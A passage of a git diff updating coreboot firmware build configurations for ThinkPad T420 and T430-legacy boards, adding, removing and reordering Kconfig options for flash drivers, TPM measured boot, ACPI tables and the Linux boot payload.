-CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x04000000 CONFIG_PCI_ALLOW_BUS_MASTER=y @@ -441,10 +449,6 @@ CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_NO_DDR5=y -CONFIG_NO_LPDDR4=y -CONFIG_NO_DDR4=y -CONFIG_NO_DDR2=y CONFIG_USE_DDR3=y # end of Devices @@ -455,21 +459,18 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 # CONFIG_ELOG is not set CONFIG_CACHE_MRC_SETTINGS=y # CONFIG_MRC_SETTINGS_PROTECT is not set -CONFIG_MRC_STASH_TO_CBMEM=y # CONFIG_SMMSTORE is not set CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_NO_EARLY_WRITES=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y # CONFIG_SPI_FLASH_NO_FAST_READ is not set CONFIG_SPI_FLASH_ADESTO=y CONFIG_SPI_FLASH_AMIC=y CONFIG_SPI_FLASH_ATMEL=y CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_STMICRO=y CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set CONFIG_NO_UART_ON_SUPERIO=y @@ -486,9 +487,12 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_DRIVERS_I2C_MAX98396 is not set CONFIG_INTEL_INT15=y CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" CONFIG_GFX_GMA=y CONFIG_GFX_GMA_PANEL_1_ON_LVDS=y -CONFIG_INTEL_GMA_OPREGION_2_0=y CONFIG_GFX_GMA_DYN_CPU=y CONFIG_GFX_GMA_GENERATION="Ironlake" CONFIG_GFX_GMA_PCH="Cougar_Point" @@ -499,6 +503,7 @@ CONFIG_DRIVERS_LENOVO_HYBRID_GRAPHICS=y CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_DRIVERS_MC146818=y # CONFIG_USE_PC_CMOS_ALTCENTURY is not set +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y @@ -533,7 +538,12 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set CONFIG_TPM_LOG_CB=y +# CONFIG_TPM_LOG_TPM1 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module # @@ -556,6 +566,9 @@ CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y CONFIG_ACPI_HAVE_PCAT_8259=y CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y @@ -601,6 +614,7 @@ CONFIG_USE_WATCHDOG_ON_BOOT=y # CONFIG_GENERATE_SMBIOS_TABLES=y CONFIG_SMBIOS_PROVIDED_BY_MOBO=y +CONFIG_BIOS_VENDOR="coreboot" CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # end of System tables @@ -616,13 +630,12 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_LINUXBOOT is not set # CONFIG_PAYLOAD_SEABIOS is not set # CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_YABITS is not set # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set +CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -647,6 +660,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # CONFIG_DISPLAY_MTRRS is not set +# +# Vendorcode Debug Settings +# + # # BLOB Debug Settings # @@ -660,7 +677,6 @@ CONFIG_HAVE_DEBUG_RAM_SETUP=y # CONFIG_DEBUG_RAM_SETUP is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_SMI is not set # CONFIG_DEBUG_MALLOC is not set # CONFIG_DEBUG_CONSOLE_INIT is not set # CONFIG_DEBUG_SPI_FLASH is not set @@ -668,6 +684,7 @@ CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_ADA_CODE is not set CONFIG_HAVE_EM100_SUPPORT=y # CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set # end of Debugging CONFIG_RAMSTAGE_ADA=y diff --git a/config/coreboot-t420.config b/config/coreboot-t420.config index 36068d830..1dcc32e1c 100644 --- a/config/coreboot-t420.config +++ b/config/coreboot-t420.config @@ -21,6 +21,7 @@ CONFIG_OPTION_BACKEND_NONE=y # CONFIG_USE_OPTION_TABLE is not set CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set @@ -64,6 +65,7 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set # CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set @@ -77,7 +79,9 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_GOOGLE is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_LIBRETREND is not set @@ -95,7 +99,6 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set # CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SCALEWAY is not set # CONFIG_VENDOR_SIEMENS is not set # CONFIG_VENDOR_SIFIVE is not set # CONFIG_VENDOR_STARLABS is not set @@ -121,7 +124,6 @@ CONFIG_MAX_CPUS=8 CONFIG_ONBOARD_VGA_IS_PRIMARY=y CONFIG_DEVICETREE="devicetree.cb" # CONFIG_VBOOT is not set -CONFIG_VBOOT_VBNV_OFFSET=0x2a CONFIG_OVERRIDE_DEVICETREE="" # CONFIG_VGA_BIOS is not set CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" @@ -133,14 +135,14 @@ CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" CONFIG_USBDEBUG_HCD_INDEX=2 CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_TPM_PIRQ=0x0 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_VBOOT_SLOTS_RW_A=y CONFIG_DCACHE_RAM_BASE=0xfefe0000 CONFIG_DCACHE_RAM_SIZE=0x20000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 @@ -151,6 +153,10 @@ CONFIG_IFD_BIN_PATH="@BLOB_DIR@/t420/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/t420/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/t420/gbe.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad T420" CONFIG_HAVE_IFD_BIN=y CONFIG_PCIEXP_HOTPLUG_BUSES=8 @@ -197,9 +203,12 @@ CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="LEN0015" CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y # CONFIG_PCIEXP_L1_SUB_STATE is not set # CONFIG_PCIEXP_CLK_PM is not set # CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_HEAP_SIZE=0x4000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y @@ -244,27 +253,27 @@ CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_TSEG_SIZE=0x800000 CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y -CONFIG_ACPI_CPU_STRING="\\_SB.CP%02X" +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 -CONFIG_CPU_SPECIFIC_OPTIONS=y CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_VBT_DATA_SIZE_KB=8 CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 CONFIG_INTEL_GMA_BCLV_WIDTH=16 CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 CONFIG_INTEL_GMA_BCLM_WIDTH=16 CONFIG_BOOTBLOCK_IN_CBFS=y CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 +CONFIG_HPET_MIN_TICKS=0x80 CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 -CONFIG_PCIEXP_ASPM=y CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_CBFS_CACHE_ALIGN=8 CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -285,12 +294,11 @@ CONFIG_XAPIC_ONLY=y CONFIG_UDELAY_TSC=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_TSC_SYNC_MFENCE=y -CONFIG_LOGICAL_CPUS=y CONFIG_HAVE_SMI_HANDLER=y CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 CONFIG_SMP=y -CONFIG_MMX=y CONFIG_SSE=y CONFIG_SSE2=y CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y @@ -333,7 +341,6 @@ CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_ACPI_MADT=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y @@ -381,9 +388,10 @@ CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y CONFIG_HAVE_EXP_X86_64_SUPPORT=y -# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_NUM_IPI_STARTS=2 +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 CONFIG_PC80_SYSTEM=y CONFIG_HAVE_CMOS_DEFAULT=y CONFIG_POSTCAR_STAGE=y @@ -393,6 +401,7 @@ CONFIG_COLLECT_TIMESTAMPS_TSC=y CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set # end of Chipset # @@ -418,8 +427,7 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x04000000 CONFIG_PCI_ALLOW_BUS_MASTER=y @@ -440,10 +448,6 @@ CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_NO_DDR5=y -CONFIG_NO_LPDDR4=y -CONFIG_NO_DDR4=y -CONFIG_NO_DDR2=y CONFIG_USE_DDR3=y # end of Devices @@ -454,21 +458,18 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 # CONFIG_ELOG is not set CONFIG_CACHE_MRC_SETTINGS=y # CONFIG_MRC_SETTINGS_PROTECT is not set -CONFIG_MRC_STASH_TO_CBMEM=y # CONFIG_SMMSTORE is not set CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_NO_EARLY_WRITES=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y # CONFIG_SPI_FLASH_NO_FAST_READ is not set CONFIG_SPI_FLASH_ADESTO=y CONFIG_SPI_FLASH_AMIC=y CONFIG_SPI_FLASH_ATMEL=y CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_STMICRO=y CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set CONFIG_NO_UART_ON_SUPERIO=y @@ -485,9 +486,12 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_DRIVERS_I2C_MAX98396 is not set CONFIG_INTEL_INT15=y CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" CONFIG_GFX_GMA=y CONFIG_GFX_GMA_PANEL_1_ON_LVDS=y -CONFIG_INTEL_GMA_OPREGION_2_0=y CONFIG_GFX_GMA_DYN_CPU=y CONFIG_GFX_GMA_GENERATION="Ironlake" CONFIG_GFX_GMA_PCH="Cougar_Point" @@ -498,6 +502,7 @@ CONFIG_DRIVERS_LENOVO_HYBRID_GRAPHICS=y CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_DRIVERS_MC146818=y CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y @@ -532,7 +537,12 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set CONFIG_TPM_LOG_CB=y +# CONFIG_TPM_LOG_TPM1 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module # @@ -553,6 +563,9 @@ CONFIG_BOOTMEDIA_LOCK_NONE=y CONFIG_ACPI_HAVE_PCAT_8259=y CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y @@ -598,6 +611,7 @@ CONFIG_USE_WATCHDOG_ON_BOOT=y # CONFIG_GENERATE_SMBIOS_TABLES=y CONFIG_SMBIOS_PROVIDED_BY_MOBO=y +CONFIG_BIOS_VENDOR="coreboot" CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # end of System tables @@ -613,13 +627,12 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_LINUXBOOT is not set # CONFIG_PAYLOAD_SEABIOS is not set # CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_YABITS is not set # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set +CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -644,6 +657,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # CONFIG_DISPLAY_MTRRS is not set +# +# Vendorcode Debug Settings +# + # # BLOB Debug Settings # @@ -657,7 +674,6 @@ CONFIG_HAVE_DEBUG_RAM_SETUP=y # CONFIG_DEBUG_RAM_SETUP is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_SMI is not set # CONFIG_DEBUG_MALLOC is not set # CONFIG_DEBUG_CONSOLE_INIT is not set # CONFIG_DEBUG_SPI_FLASH is not set @@ -665,6 +681,7 @@ CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_ADA_CODE is not set CONFIG_HAVE_EM100_SUPPORT=y # CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set # end of Debugging CONFIG_RAMSTAGE_ADA=y diff --git a/config/coreboot-t430-legacy.config b/config/coreboot-t430-legacy.config index 8a1917711..6cac07109 100644 --- a/config/coreboot-t430-legacy.config +++ b/config/coreboot-t430-legacy.config @@ -22,6 +22,7 @@ CONFIG_USE_OPTION_TABLE=y CONFIG_STATIC_OPTION_TABLE=y CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y CONFIG_TIMESTAMPS_ON_CONSOLE=y @@ -66,6 +67,7 @@ CONFIG_FW_CONFIG_SOURCE_CBFS=y # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set # CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set @@ -79,7 +81,9 @@ CONFIG_FW_CONFIG_SOURCE_CBFS=y # CONFIG_VENDOR_GOOGLE is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_LIBRETREND is not set @@ -97,7 +101,6 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set # CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SCALEWAY is not set # CONFIG_VENDOR_SIEMENS is not set # CONFIG_VENDOR_SIFIVE is not set # CONFIG_VENDOR_STARLABS is not set @@ -123,7 +126,6 @@ CONFIG_MAX_CPUS=8 CONFIG_ONBOARD_VGA_IS_PRIMARY=y CONFIG_DEVICETREE="devicetree.cb" # CONFIG_VBOOT is not set -CONFIG_VBOOT_VBNV_OFFSET=0x2a CONFIG_OVERRIDE_DEVICETREE="" # CONFIG_VGA_BIOS is not set CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" @@ -135,13 +137,13 @@ CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" CONFIG_USBDEBUG_HCD_INDEX=2 CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_TPM_PIRQ=0x0 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_DCACHE_RAM_BASE=0xfefe0000 CONFIG_DCACHE_RAM_SIZE=0x20000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 @@ -149,6 +151,10 @@ CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y CONFIG_SPI_FLASH_WINBOND=y CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad T430" # CONFIG_HAVE_IFD_BIN is not set CONFIG_PCIEXP_HOTPLUG_BUSES=8 @@ -196,9 +202,12 @@ CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="LEN0015" CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y # CONFIG_PCIEXP_L1_SUB_STATE is not set # CONFIG_PCIEXP_CLK_PM is not set # CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_HEAP_SIZE=0x4000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y @@ -243,27 +252,27 @@ CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_TSEG_SIZE=0x800000 CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y -CONFIG_ACPI_CPU_STRING="\\_SB.CP%02X" +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 -CONFIG_CPU_SPECIFIC_OPTIONS=y CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_VBT_DATA_SIZE_KB=8 CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 CONFIG_INTEL_GMA_BCLV_WIDTH=16 CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 CONFIG_INTEL_GMA_BCLM_WIDTH=16 CONFIG_BOOTBLOCK_IN_CBFS=y CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 +CONFIG_HPET_MIN_TICKS=0x80 CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 -CONFIG_PCIEXP_ASPM=y CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_CBFS_CACHE_ALIGN=8 CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -284,12 +293,11 @@ CONFIG_XAPIC_ONLY=y CONFIG_UDELAY_TSC=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_TSC_SYNC_MFENCE=y -CONFIG_LOGICAL_CPUS=y CONFIG_HAVE_SMI_HANDLER=y CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 CONFIG_SMP=y -CONFIG_MMX=y CONFIG_SSE=y CONFIG_SSE2=y CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y @@ -332,7 +340,6 @@ CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_ACPI_MADT=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y @@ -371,9 +378,10 @@ CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y CONFIG_HAVE_EXP_X86_64_SUPPORT=y -# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_NUM_IPI_STARTS=2 +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 CONFIG_PC80_SYSTEM=y CONFIG_HAVE_CMOS_DEFAULT=y CONFIG_POSTCAR_STAGE=y @@ -383,6 +391,7 @@ CONFIG_COLLECT_TIMESTAMPS_TSC=y CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set # end of Chipset # @@ -408,8 +417,7 @@ CONFIG_BOOTSPLASH=y 